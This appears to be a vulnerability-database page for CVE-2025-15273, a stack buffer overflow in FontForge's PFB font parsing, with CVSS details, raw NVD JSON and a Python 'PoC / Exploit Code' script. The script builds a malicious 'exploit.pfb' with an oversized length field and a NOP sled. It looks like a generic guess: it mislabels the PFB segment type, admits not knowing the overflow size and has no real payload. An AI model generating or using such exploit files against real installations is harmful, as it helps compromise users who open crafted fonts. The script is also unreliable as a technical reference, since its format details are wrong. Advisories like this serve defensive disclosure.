Security Vulnerability Report
中文
CVE-2025-15273 CVSS 8.8 HIGH

CVE-2025-15273

Published: 2025-12-31 07:15:51
Last Modified: 2026-01-07 16:08:56

Description

FontForge PFB File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PFB files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28546.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:* - VULNERABLE
FontForge < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-15273 PoC - FontForge PFB File Parsing Buffer Overflow This is a proof-of-concept demonstrating the vulnerability in FontForge's PFB parsing. Note: This code is for educational and security research purposes only. """ import struct import sys def create_malicious_pfb(): """ Creates a malicious PFB file that triggers buffer overflow in FontForge. The PFB format consists of marker, length, and data sections. """ pfb_data = bytearray() # PFB marker for section type 1 (binary data) pfb_data.extend(b'\x80') # Start marker pfb_data.extend(b'\x01') # Section type 1 # Craft an excessively long data section to overflow the stack buffer # The exact overflow size depends on FontForge's internal buffer implementation overflow_length = 0x2000 # 8KB of overflow data # PFB length field (little-endian 32-bit integer) pfb_data.extend(struct.pack('<I', overflow_length)) # Fill with NOP sled and shellcode pattern # This pattern helps land in executable code region malicious_payload = b'\x90' * (overflow_length - 64) # NOP sled # Add some identifiable pattern for debugging malicious_payload += b'\x41\x42\x43\x44' * 16 # ABCD pattern # End marker malicious_payload += b'\x80' + b'\x03' # End marker pfb_data.extend(malicious_payload) return bytes(pfb_data) def main(): print("[*] CVE-2025-15273 FontForge PFB Buffer Overflow PoC") print("[*] Creating malicious PFB file...") malicious_pfb = create_malicious_pfb() output_file = "exploit.pfb" with open(output_file, 'wb') as f: f.write(malicious_pfb) print(f"[+] Malicious PFB file created: {output_file}") print(f"[+] File size: {len(malicious_pfb)} bytes") print("[!] This file should be opened with a vulnerable version of FontForge") print("[!] Use only in controlled testing environments with proper authorization") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15273", "sourceIdentifier": "[email protected]", "published": "2025-12-31T07:15:51.393", "lastModified": "2026-01-07T16:08:56.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FontForge PFB File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of PFB files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28546."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en pila en el análisis de archivos PFB de FontForge. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de FontForge. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica existe en el análisis de archivos PFB. El problema resulta de la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en pila de longitud fija. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del usuario actual. Fue ZDI-CAN-28546."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:*", "matchCriteriaId": "F1A9337A-AD25-4C56-964A-CCD44CEF611F"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1191/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}